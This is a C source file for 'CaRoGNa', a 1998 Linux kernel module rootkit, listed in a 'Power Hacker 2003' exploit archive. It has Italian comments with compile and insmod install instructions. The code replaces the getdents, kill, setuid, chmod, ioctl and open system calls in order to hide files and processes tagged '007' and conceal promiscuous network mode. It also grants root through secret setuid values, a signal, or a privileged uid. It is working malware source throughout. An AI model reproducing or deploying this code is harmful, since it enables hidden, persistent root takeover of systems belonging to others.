home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / carogna.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  8.3 KB  |  326 lines

  1. /*
  2.  * CaRoGNa.c            Implementazione del modulo CaRoGNa.
  3.  *                Per maggiori informazioni leggete gli
  4.  *                articoli relativi al progetto CaRoNTe sui
  5.  *                 numeri 3 e 4 di BFI, prelevabile da
  6.  *                http://softpj98.bkk.org/bfi/
  7.  *                Tecnica Segreta n.1 della divina scuola
  8.  *                dell' HOKUHACKO. Sacro Colpo del Modulo
  9.  *                che Travolge la Radice. 
  10.  *
  11.  *
  12.  *                assolutamente NO (C)1998 FuSyS
  13.  *
  14.  * NOTA: questo modulo e' il frutto del divertimento e della curiosita', 
  15.  *     della ricerca della conoscenza sulla via dell' HackerDom. Ogni     
  16.  *     utilizzo non corrispondente a queste idee e' VIVAMENTE SCONSIGLIATO.
  17.  *     Questo codice richiede piu' furbizia, impegno e lavoro da parte
  18.  *     del solito ragazzino pieno di scriptz, warez, ed 3l337n355 =:?  
  19.  *     man brain per favore. :)
  20.  *
  21.  * Compilate con:     gcc -c -O2 -fomit-frame-pointer CaRoGNa.c
  22.  * Installate con:    insmod CaRoGNa.o
  23.  * 
  24.  * 3l33t quote:     "wow, e funzica anche su Solaris ?"  
  25.  *
  26.  * Thanks:        HalfLife, Zarq, Plaguez
  27.  */
  28.  
  29. #define MODULE            
  30. #define __KERNEL__
  31. #include <linux/module.h>
  32.  
  33. #include <linux/fs.h>
  34. #include <linux/dirent.h>
  35. #include <linux/proc_fs.h>
  36. #include <linux/types.h>
  37. #include <linux/stat.h>
  38. #include <linux/fcntl.h>
  39. #include <linux/mm.h>
  40. #include <linux/if.h>
  41. #include <sys/syscall.h>
  42. #include <asm/unistd.h>
  43.  
  44. #define SUBVISUS    "007"    
  45. #define SIGNIHIL        31
  46. #define FL_DISAPPEAR    0x70000000
  47. #define SACROUID        7777
  48. #define KING            501
  49. #define    OPENFILE    6666
  50.  
  51. #undef fsuser()
  52. #define fsuser()    ((current->fsuid==0)||(current->fsuid==KING))
  53.  
  54. inline int suser(void)
  55. {
  56.         if ((current->euid == 0)||(current->euid == KING)) {
  57.                 current->flags |= PF_SUPERPRIV;
  58.                 return 1;
  59.         }
  60.         return 0;
  61. }
  62.  
  63. int promisc;
  64.  
  65. int (*old_kill) (pid_t, int) ;
  66. int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ;
  67. int (*old_setuid) (uid_t) ;
  68. int (*old_chmod) (const char*, mode_t) ;
  69. int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ;
  70. int (*old_open) (const char *, int, mode_t) ;
  71.  
  72. extern void *sys_call_table[] ;
  73.  
  74. int atoi(char str[])
  75. {
  76.     int res = 0;
  77.     int i ;
  78.     for(i = 0; str[i] >='0' && str[i] <='9'; ++i)
  79.     res = 10 * res + str[i] - '0';
  80.     return res;
  81. }
  82.  
  83. /* /usr/src/linux/fs/proc/array.c */
  84. struct task_struct *get_task(pid_t pid)
  85. {
  86.     struct task_struct *p = current;
  87.     do {
  88.         if (p->pid == pid)
  89.             return p;
  90.         p = p->next_task;
  91.     }
  92.     while (p != current);
  93.         return NULL;
  94. }
  95.  
  96. /* /usr/src/linux/fs/proc/array.c */
  97. static inline char *task_name(struct task_struct *p, char *buf)
  98. {
  99.     int i;
  100.     char *name;
  101.  
  102.     name = p->comm;
  103.     i = sizeof(p->comm);
  104.     do {
  105.         unsigned char c = *name;
  106.         name++;
  107.         i--;
  108.         *buf = c;
  109.         if (!c)
  110.             break;
  111.         if (c == '\\') {
  112.             buf[1] = c;
  113.             buf += 2;
  114.             continue;
  115.         }
  116.         if (c == '\n') {
  117.             buf[0] = '\\';
  118.             buf[1] = 'n';
  119.             buf += 2;
  120.             continue;
  121.         }
  122.         buf++;
  123.     }
  124.     while (i);
  125.     *buf = '\n';
  126.     return buf + 1;
  127. }
  128.  
  129. int secret(pid_t pid)
  130. {
  131.     struct task_struct *task = get_task(pid);
  132.     char *name;
  133.     if (task) {
  134.         name = (char *)kmalloc(200, GFP_KERNEL);
  135.         memset(name, 0, 200);
  136.         task_name(task, name);
  137.         if (strstr(name, SUBVISUS)!=NULL) {
  138.             kfree(name);
  139.             return 1;
  140.         }
  141.     }
  142.     return 0;
  143. }
  144.  
  145. int killinv(pid_t pid)
  146. {
  147.     struct task_struct *task = get_task(pid);
  148.     char *name;
  149.     if(task == NULL) return 0;
  150.     if (task->flags & FL_DISAPPEAR) {
  151.         return 1;
  152.     }
  153.     return 0;
  154. }
  155.  
  156. int new_getdents
  157. (unsigned int fd, struct dirent *dirptr, unsigned int count)
  158. {
  159.     unsigned int real ;        
  160.     unsigned int len ;        
  161.                   
  162.     int readen ;        
  163.     int proc ;            
  164.  
  165.     struct dirent *dirptr2, *dirptr3;    
  166.     struct inode *procinode;    
  167.  
  168.     real = (*old_getdents) (fd, dirptr, count);
  169.  
  170. #ifdef __LINUX_DCACHE_H
  171.     procinode = current->files->fd[fd]->f_dentry->d_inode;
  172. #else
  173.     procinode = current->files->fd[fd]->f_inode;
  174. #endif
  175.     if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) &&
  176.     MINOR(procinode->i_dev) == 1)        proc = 1;
  177.  
  178.     if (real > 0) {    
  179.  
  180.     dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL);
  181.         memcpy_fromfs(dirptr2, dirptr, real);
  182.         dirptr3 = dirptr2;
  183.         readen = real;
  184.          while (readen > 0) {
  185.             len = dirptr3->d_reclen;
  186.             readen -= len;
  187.             if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL)
  188.            || (proc && secret(atoi(dirptr3->d_name))) 
  189.            || (proc && killinv(atoi(dirptr3->d_name)))) { 
  190.  
  191.                if (readen != 0)
  192.                 memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen);
  193.  
  194.                else  dirptr3->d_off = 1024;
  195.  
  196.                 real -= len;
  197.             }
  198.             if (dirptr3->d_reclen == 0) {
  199.                 real -= readen;
  200.                 readen = 0;
  201.             }
  202.             if (readen != 0)
  203.             dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen);
  204.         }
  205.         memcpy_tofs(dirptr, dirptr2, real);
  206.         kfree(dirptr2);
  207.     }
  208.     return real;
  209. }
  210.  
  211. int new_kill(pid_t pid, int sig)
  212. {
  213.         int real;
  214.         int errno;
  215.         struct task_struct *task = get_task(pid);
  216.  
  217.         if ((sig != SIGNIHIL) && (sig != SIGTSTP)) {
  218.                 real = (*old_kill)(pid, sig);
  219.                 if (real == -1) return(-errno);
  220.                 return real;
  221.         }
  222.     if (sig == SIGNIHIL) { 
  223.             task->flags |= FL_DISAPPEAR;
  224.             return(0);
  225.     }
  226.     else if (sig == SIGTSTP) {
  227.         task->uid = task->gid = task->euid = task->egid = 0;
  228.             return(real);
  229.     }
  230. }
  231.  
  232. int new_setuid(uid_t uid)
  233. {
  234.         int tmp;        
  235.         if (uid == SACROUID) {
  236.                 current->uid = 0;               
  237.                 current->gid = 0;               
  238.                 current->euid = 0;              
  239.                 current->egid = 0;              
  240.                 return 0;
  241.         } else if (uid == OPENFILE) {
  242.         current->euid = OPENFILE;
  243.         return 0;
  244.     }
  245.  
  246.         tmp = (*old_setuid) (uid) ;
  247.         return tmp;
  248. }
  249.  
  250. int new_chmod(const char *filename, mode_t mode)
  251. {
  252.         int ret ;
  253.         if (current->uid == KING) {
  254.           current->uid=current->gid=current->fsuid=current->fsgid=0;
  255.           ret = (*old_chmod) (filename, mode);
  256.           current->uid=current->gid=current->fsuid=current->fsgid=KING;
  257.           return ret;
  258.         } else ret = (*old_chmod) (filename, mode);
  259.         return ret;
  260. }
  261.  
  262. int new_ioctl
  263. (unsigned int fd, unsigned int cmd, unsigned long arg)
  264. {
  265.         int ret ;
  266.         struct ifreq netif ;
  267.  
  268.         ret = (*old_ioctl) (fd, cmd, arg);
  269.         if (cmd == SIOCGIFFLAGS && !promisc) {
  270.           memcpy_fromfs((struct ifreq *)&netif, (struct ifreq *)arg,
  271.       sizeof(struct ifreq));                
  272.       netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC);
  273.           memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &netif,
  274.       sizeof(struct ifreq));        
  275.     } else if (cmd == SIOCSIFFLAGS)
  276.                 sys_call_table[SYS_ioctl] = old_ioctl;
  277.         return ret ;
  278. }
  279.  
  280. int new_open(const char *pathname, int flags, mode_t mode)
  281. {
  282.         int ret;
  283.         if (current->euid == OPENFILE) {
  284.           current->uid=current->gid=current->fsuid=current->fsgid = 0;
  285.           ret = (*old_open) (pathname, flags, mode);
  286.           current->uid=current->gid=current->fsuid=current->fsgid=OPENFILE;
  287.                 return ret;
  288.         }
  289.         else ret = (*old_open) (pathname, flags, mode);
  290.         return ret;
  291. }
  292.  
  293. int init_module(void)
  294. {
  295.      /*    register struct module *mp asm("%ebp");
  296.         *(char *) (mp->name) = 0;
  297.         mp->size = 0;
  298.         mp->ref = 0;        */
  299.  
  300.          register_symtab(NULL);
  301.  
  302.     old_getdents = sys_call_table[SYS_getdents];
  303.     sys_call_table[SYS_getdents] = (void *) new_getdents;
  304.     old_kill = sys_call_table[SYS_kill];
  305.         sys_call_table[SYS_kill] = (void *) new_kill;
  306.     old_setuid = sys_call_table[SYS_setuid];
  307.         sys_call_table[SYS_setuid] = (void *) new_setuid;
  308.     old_chmod = sys_call_table[SYS_chmod];
  309.     sys_call_table[SYS_chmod] = (void *) new_chmod;
  310.     old_ioctl = sys_call_table[SYS_ioctl];
  311.         sys_call_table[SYS_ioctl] = (void *) new_ioctl;
  312.     old_open = sys_call_table[SYS_open];
  313.         sys_call_table[SYS_open] = (void *) new_open;
  314.     return 0 ;
  315. }
  316.  
  317. int cleanup_module(void)
  318. {
  319.     sys_call_table[SYS_getdents] = old_getdents;
  320.     sys_call_table[SYS_kill] = old_kill;
  321.     sys_call_table[SYS_setuid] = old_setuid;
  322.     sys_call_table[SYS_chmod] = old_chmod;
  323.     sys_call_table[SYS_ioctl] = old_ioctl;
  324.     sys_call_table[SYS_open] = old_open;
  325. }
  326.